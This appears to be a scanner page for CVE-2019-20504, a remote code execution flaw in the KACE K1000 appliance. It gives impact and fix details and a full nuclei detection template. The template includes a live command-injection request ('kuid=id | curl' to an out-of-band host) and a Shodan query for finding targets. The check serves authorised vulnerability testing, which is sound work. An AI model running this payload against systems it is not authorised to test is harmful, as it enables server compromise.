Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Remote Code Execution

criticalseverity

9.8CVSS score

9.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

service/krashrpt.php in Quest KACE K1000 Systems Management Appliance before 6.4 SP3 (6.4.120822) allows a remote attacker to execute code via shell metacharacters in the kuid parameter.

Impact

Unauthenticated attackers can execute arbitrary system commands via shell metacharacters, leading to complete server compromise and access to all managed systems.

Fix

Upgrade to KACE K1000 version 6.4 SP3 (6.4.120822) or later.

How to confirm it

Send: GET /
Positive when: contains(body, "K1000")
Send: POST /service/krashrpt.php
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2019-20504 -u <target>

The full check

id: CVE-2019-20504

info:
  name: Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    service/krashrpt.php in Quest KACE K1000 Systems Management Appliance before 6.4 SP3 (6.4.120822) allows a remote attacker to execute code via shell metacharacters in the kuid parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands via shell metacharacters, leading to complete server compromise and access to all managed systems.
  remediation: |
    Upgrade to KACE K1000 version 6.4 SP3 (6.4.120822) or later.
  reference:
    - https://www.exploit-db.com/exploits/46684
    - https://www.rcesecurity.com/2019/04/dell-kace-k1000-remote-code-execution-the-story-of-bug-k1-18652/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20504
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-20504
    cwe-id: CWE-78
    epss-score: 0.0955
    epss-percentile: 0.955
    cpe: cpe:2.3:a:quest:kace_systems_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: quest
    product: kace_systems_management
    shodan-query: html:"K1000 Logo"
  tags: cve,cve2019,k1000,kace,rce,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "K1000")'
        internal: true

  - raw:
      - |
        POST /service/krashrpt.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        kuid=id | curl http://{{interactsh-url}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from